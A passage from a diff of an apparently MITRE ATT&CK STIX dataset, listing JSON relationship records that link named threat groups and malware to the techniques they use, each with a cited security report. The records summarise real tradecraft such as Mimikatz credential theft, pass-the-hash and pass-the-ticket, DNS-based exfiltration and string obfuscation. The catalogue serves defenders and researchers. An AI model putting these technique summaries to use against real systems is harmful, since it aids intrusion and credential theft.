"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 SilverTerrier 2018", + "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) collects data from the local victim system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ef3d09dd-b6e8-4858-a2ad-de8b2981dc27", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.291Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Octopus](https://attack.mitre.org/software/S0340) collects information on the Windows directory and searches for compressed RAR files on the host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:24:09.077Z", + "id": "relationship--6d3fee1f-1c19-4ad8-9cd9-e5b00e5b040a", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "modified": "2019-01-30T13:24:09.077Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "source_name": "Securelist Octopus Oct 2018", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can enumerate Registry keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3c786b4b-b146-4511-b3ca-65fe7c3521e8", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) has a module for [Mimikatz](https://attack.mitre.org/software/S0002) to collect Windows credentials from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.938Z", + "id": "relationship--fcd9182a-516c-425f-82ec-61cdb0bfc731", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:22.031Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", + "description": "[Helminth](https://attack.mitre.org/software/S0170) splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--f81274dc-2f5b-47f7-b91f-70a4ebdfde95", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) gathers the MAC address of the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--107713b7-97e8-4cd6-8671-b38f86e02ed0", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "source_name": "US-CERT KEYMARBLE Aug 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "Some [Felismus](https://attack.mitre.org/software/S0171) samples use a custom encryption method for C2 traffic using AES, base64 encoding, and multiple keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--fa035513-59b6-4f54-8b85-13ec08849453", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "source_name": "Forcepoint Felismus Mar 2017", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Azorult](https://attack.mitre.org/software/S0344) uses an XOR key to decrypt content and uses Base64 to decode the C2 address.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:19:14.930Z", + "id": "relationship--3733dda5-9dd9-43d1-ac3a-24f1b5fb86e7", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.545Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) uses a keylogger to capture keystrokes and location of where the user is typing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--366c4cf9-7ea1-4751-9415-bcd3a1c52b27", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-07-26T22:56:58.523Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used the ipconfig /all command to gather network configuration information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:33:07.616Z", + "id": "relationship--635c959b-acf4-464a-a240-f299f5fea753", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.433Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can gather information about the victim proxy server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3bfef472-e4b0-41be-be6b-314400c079cb", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) encrypts the configuration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:47:41.389Z", + "id": "relationship--f9a34eaa-c17c-400a-b4e0-063445e430af", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "modified": "2019-01-30T15:47:41.389Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "source_name": "TrendMicro Lazarus Nov 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) applies compression to C2 traffic using the ZLIB library.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.298Z", + "id": "relationship--811ad4bc-198d-400a-a5f0-10d0ef856794", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.852Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[Comnie](https://attack.mitre.org/software/S0244) establishes persistence via a .lnk file in the victim\u2019s startup path.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7cb37ba3-3a4b-45e5-974c-e337301e71a2", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the current directory name as well as the size of a file. It also has commands to obtain information about logical drives, drive type, and free space.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--24ea53e3-a51f-4c4a-b3de-2e1d09ed69e8", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.492Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has decrypted strings and imports using RC4 during execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:43:28.261Z", + "id": "relationship--4b3f0b38-d4e2-49e8-a8f9-6a186c31967f", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:52.175Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "A [Night Dragon](https://attack.mitre.org/groups/G0014) DLL included an XOR-encoded section.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.104Z", + "id": "relationship--7e88dd85-5ade-4622-a6ff-eccd75f020ad", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.888Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) used pass-the-hash tools to gain usernames and passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.299Z", + "id": "relationship--36f0a0c9-ccf8-4b82-a9ab-d61d13094b24", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.889Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) searches for files that are 60mb and less and contain the following extensions: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .exe, .zip, and .rar. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the echo %APPDATA% command to list the contents of the directory. [Zebrocy](https://attack.mitre.org/software/S0251) can obtain the current execution path as well as perform drive enumeration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:39:48.457Z", + "id": "relationship--86b7bab7-a1d6-4820-be55-c379f3967f1a", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.794Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + }, + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) is written to %LOCALAPPDATA%\\MicroSoft Updatea\\svServiceUpdate.exe prior being executed in a new process in an apparent attempt to masquerade as a legitimate folder and file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:50:46.595Z", + "id": "relationship--67f1d68d-fe0f-4e65-8b2a-f614fda68e3c", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "modified": "2019-01-31T00:38:09.271Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) obtains a list of running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:23:06.343Z", + "id": "relationship--4322dad3-453f-4af5-bd1c-0099baaf2b61", + "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "modified": "2019-01-31T00:23:06.343Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "description": "[APT32](https://attack.mitre.org/groups/G0050) successfully gained remote access by using pass the ticket.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.538Z", + "id": "relationship--c08684c8-8467-4b7f-a9ac-3330cf423261", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.696Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "description": "[Impacket](https://attack.mitre.org/software/S0357) can be used to sniff network traffic via an interface or raw socket.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:39:56.551Z", + "id": "relationship--191d6679-d6a8-42e3-b5ff-84a8d5bfb1dd", + "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "modified": "2019-04-18T21:49:12.757Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) uses cmd.exe and /bin/bash to execute commands on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7a9e9275-44c2-40c9-9eb3-cafc54503874", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.813Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Ping](https://attack.mitre.org/software/S0097) can be used to identify remote systems within a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9b2356e1-6544-40a7-a694-8ac36a1da1b7", + "source_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Ping. Retrieved April 8, 2016.", + "source_name": "TechNet Ping", + "url": "https://technet.microsoft.com/en-us/library/bb490968.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) checks if a value exists within a Registry key in the HKCU hive whose name is the same as the scheduled task it has created.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c2e58b40-7644-4c0c-92ac-b63a565aca44", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) leverages the CreateProcess() and LoadLibrary() calls to execute files with the .dll and .exe extensions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--eda49ac0-3077-4bff-9b30-44f527914e9c", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain information about security software on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d7903e1f-f31c-48bc-b7c3-3616cb1a792f", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", + "description": "The net accounts and net accounts /domain commands with [Net](https://attack.mitre.org/software/S0039) can be used to obtain password policy information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0224ebf5-13ef-4fb0-b9e7-53ea58c15a4d", + "source_ref": 